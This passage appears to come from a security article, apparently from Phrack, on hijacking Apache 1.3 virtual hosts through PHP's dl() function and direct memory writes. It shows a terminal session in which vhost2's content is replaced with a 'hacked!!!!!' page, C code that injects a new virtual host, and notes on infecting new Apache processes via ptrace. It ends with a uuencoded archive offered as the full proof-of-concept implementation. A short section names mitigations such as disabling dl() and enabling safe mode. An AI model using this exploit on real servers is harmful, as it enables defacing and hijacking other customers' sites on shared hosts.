drwxr-sr-x 2 andi andi 4096 May 6 14:20 .
drwxrwsr-x 7 root staff 4096 Apr 25 03:00 ..
-rw-r--r-- 1 andi andi 905 May 6 14:21 hoagie_apache_php.php
-rwxr-xr-x 1 andi andi 317265 May 6 14:25 hoagie_apache.so
-rw-r--r-- 1 root andi 15 Apr 25 02:18 index.html
vhost2/:
total 16
drwxr-sr-x 2 andi andi 4096 Apr 25 03:31 .
drwxrwsr-x 7 root staff 4096 Apr 25 03:00 ..
-rw-r--r-- 1 root andi 15 Apr 25 02:18 index.html
-rw-r--r-- 1 andi andi 15 Apr 25 03:31 test.html
andi@blowfish:/home$ cat hack1/index.html
hacked!!!!!
w0w0w0w
andi@blowfish:/home$ cat vhost1/index.html
www.vhost1.com
andi@blowfish:/home$ cat vhost1/hoagie_apachephp.php
...
if (php_hoagie_loaddl()) {
hoagie_setvhostdocumentroot("www.vhost2.com", "/home/hack1");
} else {
php_hoagie_debug("Cannot load " . PHP_MEM_MODULE);
}
...
andi@blowfish:/home$ cat vhost2/index.html
www.vhost2.com
andi@blowfish:/home$ cat /home/andi/bin/apache/conf/httpd.conf
...
<VirtualHost 172.16.0.123:8080>
ServerAdmin webmaster@vhost1.com
DocumentRoot /home/vhost1
ServerName www.vhost1.com
ErrorLog logs/www.vhost1.com-error_log
CustomLog logs/www.vhost1.com-access_log common
</VirtualHost>
<VirtualHost 172.16.0.123:8080>
ServerAdmin webmaster@vhost1.com
DocumentRoot /home/vhost2
ServerName www.vhost2.com
ErrorLog logs/www.vhost2.com-error_log
CustomLog logs/www.vhost2.com-access_log common
</VirtualHost>
...
andi@blowfish:/home$
So, before the attack we send some http requests and look for the correct
answer.
andi@blowfish:/home$ nc www.vhost1.com 8080
GET / HTTP/1.0
Host: www.vhost1.com
HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:52:58 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:18:38 GMT
ETag: "5a826-f-408b03de"
Accept-Ranges: bytes
Content-Length: 15
Connection: close
Content-Type: text/html
www.vhost1.com
andi@blowfish:/home$ nc www.vhost2.com 8080
GET / HTTP/1.0
Host: www.vhost2.com
HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:53:06 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:18:46 GMT
ETag: "5a827-f-408b03e6"
Accept-Ranges: bytes
Content-Length: 15
Connection: close
Content-Type: text/html
www.vhost2.com
andi@blowfish:/home$
So now lets start the attack...
andi@blowfish:/home$ /home/andi/bin/apache/bin/ab -n 200 -c 200 \
http://www.vhost1.com:8080/hoagie_apachephp.php
....
andi@blowfish:/home$ nc www.vhost2.com 8080
GET / HTTP/1.0
Host: www.vhost2.com
HTTP/1.1 200 OK
Date: Thu, 06 May 2004 12:56:27 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.6
Last-Modified: Sun, 25 Apr 2004 00:19:57 GMT
ETag: "1bc99-14-408b042d"
Accept-Ranges: bytes
Content-Length: 20
Connection: close
Content-Type: text/html
hacked!!!!!
w0w0w0w
andi@blowfish:/home$
--[ 6 - Add a new Virtual Host
Instead of changing a virtual host we can also add a new one.
We know that Apache uses iphash_table to lookup the correct virtual host
corresponding to its IP address. So when we add a new virtual host we have
to calculate the hash key first. This is done by the function
hash_inaddr():
[apache_1.3.29/src/main/http_vhost.c]
...
static ap_inline unsigned hash_inaddr(unsigned key)
{
key ^= (key >> 16);
return ((key >> 8) ^ key) % IPHASH_TABLE_SIZE;
}
...
In most cases there's already an object of type name_chain (*names)
because it's unusual that this IP address hasn't been used for another
vhost too. So we go through the names list and add an object of type
name_chain. Before we can add a new object or variable we need to get the
value of pconf for ap_palloc(). ap_palloc is Apache's malloc function. It
uses pools to decide where to store data. The address of pconf is used in
ap_register_other_child().
Now we can create an object of type name_chain. Then we have to add a
server_addr_rec object where IP address and port information are stored
(its used for IP address lookups). After that the more important object
will be added: server_rec. We have to set the server administrator, server
email, module config, directory config etc. Look at hoagie_apachephp.c in
function hoagie_addvhost():
...
/* allocate memory for new virtual host objects and it's sub objects */
nc = ap_palloc(pconf, sizeof(name_chain));
nc->next = NULL;
/* set IP address and port information */
nc->sar = ap_palloc(pconf, sizeof(server_addr_rec));
nc->sar->next = NULL;
nc->sar->host_addr.s_addr = ipaddr;
nc->sar->host_port = 8080;
nc->sar->virthost = ap_palloc(pconf, strlen(ipaddrstr) + 1);
strcpy(nc->sar->virthost, ipaddrstr);
...
Lets start apache bench again and infect the apache processes.
--[ 7 - Keep it up
Now we can infect apache processes that are running at the moment. But
when there are many HTTP requests Apache creates also new processes that
are not infected.
So what we do is we are redirecting the signal call for all running Apache
processes. This is done by Runtime Process Infection (the .so way ;)).
Therefore after each new connection all running apache processes will be
infected too. For more details see [4]. But this can only be done when
Apache is not started by root because after a setuid() call with old uid is
not equal to new uid Linux clears the dumpable flag of that process. This
flag must be set if you want to ptrace() this process.
--[ 8 - Solution?
The best solution would be something like a read-only apache configuration
in memory.
For PHP you can simply disable the "dl()" function or enable safe mode for
all your virtual hosts. When you're using mod_perl too, you have to disable
the whole dl() family functions (see DynaLoader). Generally you can say
that every builtin Apache module is vulnerable to this kind of attack (when
you can directly access memory locations). I implemented a proof of concept
code for PHP and ModPerl because nowadays these script languages are
running on most of the apache web servers.
--[ 9 - References
[1] Apache - http://www.apache.org
[2] PHP - http://www.php.net
[3] ModPerl - http://www.modperl.org
[4] Runtime Process Infection - http://www.phrack.org/show.php?p=59&a=8
--[ A - Appendix: The implementation
begin 644 hoagie_apache.tar.gz
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
